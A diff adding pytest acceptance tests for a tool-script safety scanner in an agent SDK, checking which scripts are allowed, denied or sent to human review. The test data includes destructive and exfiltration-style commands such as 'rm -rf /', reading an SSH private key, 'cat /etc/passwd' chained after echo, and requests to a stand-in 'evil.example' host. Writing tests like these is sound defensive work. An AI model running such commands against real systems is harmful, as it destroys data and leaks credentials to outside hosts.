|
| 1 | +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. |
| 2 | +# |
| 3 | +# Copyright (C) 2026 Tencent. All rights reserved. |
| 4 | +# |
| 5 | +# tRPC-Agent-Python is licensed under Apache-2.0. |
| 6 | +"""Acceptance tests for Tool Script Safety Guard.""" |
| 7 | + |
| 8 | +from __future__ import annotations |
| 9 | + |
| 10 | +import json |
| 11 | +import time |
| 12 | + |
| 13 | +import pytest |
| 14 | + |
| 15 | +from trpc_agent_sdk.abc import FilterResult |
| 16 | +from trpc_agent_sdk.tools.safety import JsonlAuditSink |
| 17 | +from trpc_agent_sdk.tools.safety import SafetyDecision |
| 18 | +from trpc_agent_sdk.tools.safety import ToolSafetyBlockedError |
| 19 | +from trpc_agent_sdk.tools.safety import ToolSafetyGuard |
| 20 | +from trpc_agent_sdk.tools.safety import ToolSafetyPolicy |
| 21 | +from trpc_agent_sdk.tools.safety import ToolSafetyRequest |
| 22 | +from trpc_agent_sdk.tools.safety import ToolSafetyResourceLimitError |
| 23 | +from trpc_agent_sdk.tools.safety import ToolScriptSafetyFilter |
| 24 | +from trpc_agent_sdk.tools.safety import ToolScriptSafetyScanner |
| 25 | + |
| 26 | + |
| 27 | +@pytest.fixture |
| 28 | +def scanner() -> ToolScriptSafetyScanner: |
| 29 | + return ToolScriptSafetyScanner( |
| 30 | + ToolSafetyPolicy( |
| 31 | + allowed_domains=["api.example.com"], |
| 32 | + allowed_commands=["echo", "pwd", "ls", "cat", "grep", "curl"], |
| 33 | + ) |
| 34 | + ) |
| 35 | + |
| 36 | + |
| 37 | +@pytest.mark.parametrize( |
| 38 | + ("name", "language", "script", "decision", "rule_id"), |
| 39 | + [ |
| 40 | + ("safe_python", "python", "items = [1, 2, 3]\nprint(sum(items))", "allow", None), |
| 41 | + ("dangerous_delete", "bash", "rm -rf /", "deny", "FILE_DESTRUCTIVE"), |
| 42 | + ("read_ssh_key", "python", "print(open('~/.ssh/id_rsa').read())", "deny", "PATH_FORBIDDEN"), |
| 43 | + ("network_egress", "python", "requests.get('https://evil.example/collect')", "deny", |
| 44 | + "NET_DOMAIN_NOT_ALLOWED"), |
| 45 | + ("allowed_network", "python", "requests.get('https://api.example.com/health')", "allow", None), |
| 46 | + ("subprocess", "python", "subprocess.run(['git', 'status'])", "needs_human_review", "PROCESS_SPAWN"), |
| 47 | + ("shell_injection", "bash", "echo safe; cat /etc/passwd", "deny", "SHELL_CONTROL_OPERATOR"), |
| 48 | + ("dependency_install", "bash", "pip install untrusted", "deny", "DEPENDENCY_INSTALL"), |
| 49 | + ("infinite_loop", "python", "while True:\n pass", "deny", "RESOURCE_INFINITE_LOOP"), |
| 50 | + ("secret_output", "python", "print('api_key=' + api_key)", "deny", "SECRET_EXPOSURE"), |
| 51 | + ("bash_pipeline", "bash", "cat input.txt | grep token", "needs_human_review", "SHELL_PIPELINE_REVIEW"), |
| 52 | + ("dynamic_network", "python", "url = input()\nrequests.get(url)", "needs_human_review", |
| 53 | + "NET_DYNAMIC_DESTINATION"), |
| 54 | + ], |
| 55 | +) |
| 56 | +def test_public_samples(scanner, name, language, script, decision, rule_id): |
| 57 | + report = scanner.scan(ToolSafetyRequest(tool_name=name, script=script, language=language)) |
| 58 | + assert report.decision.value == decision |
| 59 | + if rule_id: |
| 60 | + assert rule_id in report.rule_ids |
| 61 | + finding = next(item for item in report.findings if item.rule_id == rule_id) |
| 62 | + assert finding.evidence |
| 63 | + assert finding.recommendation |
| 64 | + |
| 65 | + |
| 66 | +def test_policy_reload_changes_domain_path_and_command(tmp_path): |
| 67 | + policy_file = tmp_path / "policy.yaml" |
| 68 | + policy_file.write_text( |
| 69 | + "allowed_domains: [internal.example]\n" |
| 70 | + "allowed_commands: [status]\n" |
| 71 | + "forbidden_paths: [/sensitive]\n", |
| 72 | + encoding="utf-8", |
| 73 | + ) |
| 74 | + scanner = ToolScriptSafetyScanner.from_policy_file(policy_file) |
| 75 | + report = scanner.scan( |
| 76 | + ToolSafetyRequest(tool_name="x", script="status", language="bash") |
| 77 | + ) |
| 78 | + assert report.decision == SafetyDecision.ALLOW |
| 79 | + assert scanner.scan(ToolSafetyRequest( |
| 80 | + tool_name="x", script="curl https://internal.example/ok", language="python" |
| 81 | + )).decision == SafetyDecision.ALLOW |
| 82 | + assert "PATH_FORBIDDEN" in scanner.scan(ToolSafetyRequest( |
| 83 | + tool_name="x", script="open('/sensitive/key')", language="python" |
| 84 | + )).rule_ids |
| 85 | + |
| 86 | + |
| 87 | +def test_500_line_scan_is_faster_than_one_second(scanner): |
| 88 | + script = "\n".join(f"value_{index} = {index}" for index in range(500)) |
| 89 | + started = time.perf_counter() |
| 90 | + report = scanner.scan(ToolSafetyRequest(tool_name="python", script=script, language="python")) |
| 91 | + assert time.perf_counter() - started < 1.0 |
| 92 | + assert report.decision == SafetyDecision.ALLOW |
| 93 | + |
| 94 | + |
| 95 | +@pytest.mark.asyncio |
| 96 | +async def test_guard_blocks_before_execution_and_audits(scanner, tmp_path): |
| 97 | + executed = False |
| 98 | + |
| 99 | + async def executor(): |
| 100 | + nonlocal executed |
| 101 | + executed = True |
| 102 | + |
| 103 | + audit_path = tmp_path / "audit.jsonl" |
| 104 | + guard = ToolSafetyGuard(scanner, JsonlAuditSink(audit_path)) |
| 105 | + with pytest.raises(ToolSafetyBlockedError): |
| 106 | + await guard.run( |
| 107 | + ToolSafetyRequest(tool_name="bash", script="rm -rf /", language="bash"), |
| 108 | + executor, |
| 109 | + ) |
| 110 | + assert not executed |
| 111 | + event = json.loads(audit_path.read_text(encoding="utf-8")) |
| 112 | + assert event["tool_name"] == "bash" |
| 113 | + assert event["blocked"] is True |
| 114 | + assert event["redacted"] is False |
| 115 | + assert "FILE_DESTRUCTIVE" in event["rule_id"] |
| 116 | + |
| 117 | + |
| 118 | +@pytest.mark.asyncio |
| 119 | +async def test_filter_blocks_before_tool_handler(): |
| 120 | + safety_filter = ToolScriptSafetyFilter() |
| 121 | + response = FilterResult() |
| 122 | + await safety_filter._before(None, {"command": "wget https://evil.example/x"}, response) |
| 123 | + assert response.is_continue is False |
| 124 | + assert response.rsp["safety_report"]["decision"] == "deny" |
| 125 | + |
| 126 | + |
| 127 | +@pytest.mark.asyncio |
| 128 | +async def test_guard_enforces_output_limit(): |
| 129 | + scanner = ToolScriptSafetyScanner(ToolSafetyPolicy(max_output_bytes=4)) |
| 130 | + guard = ToolSafetyGuard(scanner) |
| 131 | + with pytest.raises(ToolSafetyResourceLimitError): |
| 132 | + await guard.run( |
| 133 | + ToolSafetyRequest(tool_name="safe", script="print('ok')", language="python"), |
| 134 | + lambda: "12345", |
| 135 | + ) |
| 136 | + |
| 137 | + |
| 138 | +def test_sensitive_environment_values_are_not_recorded(scanner): |
| 139 | + report = scanner.scan( |
| 140 | + ToolSafetyRequest( |
| 141 | + tool_name="python", |
| 142 | + script="print('done')", |
| 143 | + language="python", |
| 144 | + environment={"API_KEY": "super-secret-value"}, |
| 145 | + ) |
| 146 | + ) |
| 147 | + serialized = report.model_dump_json() |
| 148 | + assert report.redacted is True |
| 149 | + assert "super-secret-value" not in serialized |
0 commit comments